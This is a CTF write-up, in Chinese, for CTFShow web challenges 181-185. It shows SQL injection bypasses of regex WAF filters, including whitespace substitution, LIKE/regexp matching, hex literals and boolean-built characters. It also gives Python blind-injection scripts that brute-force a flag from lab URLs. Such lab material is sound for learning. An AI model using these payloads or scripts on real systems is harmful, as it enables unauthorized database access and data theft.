CTFShow-web-vip/SQL 181-185(Bool构造字符绕过waf)

Web 181:过滤函数绕过(利用OR优先级)

解题核心是在过滤函数中构造特殊语句,利用SQL中AND优先级高于OR的特性绕过限制。

关键Payload

1
-1'%0cor%0cusername%0clike%0c'flag

拼接后的SQL语句

1
2
3
select id,username,password from ctfshow_user where (username !='flag' and id = '" -1') 
%0cor%0c(username%0clike%0c'flag "' )
limit 1;

过滤函数

1
2
3
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

另一个有效Payload

1
-1'||username='flag

Web 182:关键字”flag”过滤与模糊匹配绕过

新增对”flag”关键字的过滤,需通过模糊匹配或字符串拼接绕过。

有效Payload

  1. 模糊匹配绕过
    1
    -1'%0cor%0cusername%0clike%0c'%fla%
  2. 字符串拼接绕过
    1
    -1'or(username=concat('fl','ag'))and'1'='1

过滤函数(新增flag过滤)

1
2
3
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}

Web 183:基于LIKE匹配的盲注脚本

通过传递表名参数,利用LIKE匹配特性逐字符猜解flag,适合编写脚本自动化测试。

核心SQL构造

1
select count(pass) from `ctfshow_user`where`pass`like'ctfshow{1%'

自动化猜解脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import time 
import requests
charset ="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"
uri = "http://08d72d82-6ecb-419c-be80-5e829ccfa913.challenge.ctf.show/select-waf.php"

flag = ""
for i in range(0,34):
for char in charset:
data={
"tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+char)
}

response = requests.post(url=uri, data=data)
time.sleep(0.3)
if response.text.find("$user_count = 1;")>0:
print(f"ok :===={char}")
flag += char
break
else:
continue
print("ctfshow"+flag)

Web 184:LIKE多进制匹配绕过

过滤了单引号、双引号、反引号及where等关键字,需使用having替代where,并通过多进制(16进制、2进制)进行比较。

多进制匹配示例

  1. 16进制比较
    1
    select count(*) from test group by test1 having test1 like 0x31
  2. 2进制比较
    1
    select count(*) from test group by test1 having test1 like 0b00110001

过滤函数

1
2
3
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

自动化脚本(16进制构造)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import time 
import requests
charset ="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"
uri = "http://f953800e-2783-40cd-8dd5-cba1f18f3c95.challenge.ctf.show/select-waf.php"

flag = ""
for i in range(0,40):
for char in charset:
data={
"tableName":"ctfshow_user group by pass having pass like 0x63746673686f777b{}25".format("".join(hex(ord(i))[2:] for i in flag+char))
}

response = requests.post(url=uri, data=data)
time.sleep(0.3)
if response.text.find("$user_count = 1;")>0:
print(f"ok :===={char}")
flag += char
break
else:
continue
print("ctfshow{"+flag)

Web 185:布尔值构造字符绕过数字过滤

过滤了数字,需通过布尔值(true=1false=0)构造数字,再通过char()函数转换为字符。

布尔值构造示例

  1. 基础构造
    1
    2
    select concat(true) => 1
    select concat(true+true) => 2
  2. 多位数构造
    1
    select concat(true,(true+true),(true+true+true)) => 123
  3. 字符构造
    1
    select char(concat(true,(true+true),(true+true+true))) => '{'

过滤函数(新增数字过滤)

1
2
3
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

自动化脚本(布尔值构造)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import time
import string

def formatString(str):
# 构造concat函数
temp="concat("
for x in str:
tip=0
if x in string.digits:
tmp=int(x)
else:
tip=1
temp+="char("
tmp=ord(x)

if tmp == 0:
temp+="false"
else:
temp_d="("
for i in range(0,tmp):
temp_d+="true+"
temp_d=temp_d[:-1]+")" # 去除最后一个+并闭合
if tip == 1:
temp_d+=")"
temp+=temp_d
temp+=","
temp=temp[:-1]+")" # 去除最后一个,并闭合
return temp

url="http://07712fb8-f25a-4698-bdf8-9e504f7619e3.challenge.ctf.show/select-waf.php"
dic="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"
flag="ctfshow{"
for i in range(0,40):
for x in dic:
data={
"tableName":"ctfshow_user group by pass having pass regexp({})".format(formatString(flag+x))
}
response=requests.post(url,data=data)
time.sleep(0.3)
if response.text.find("$user_count = 1;")>0:
print("[**] {} is right".format(x))
flag+=x
break
print("[flag]:"+flag)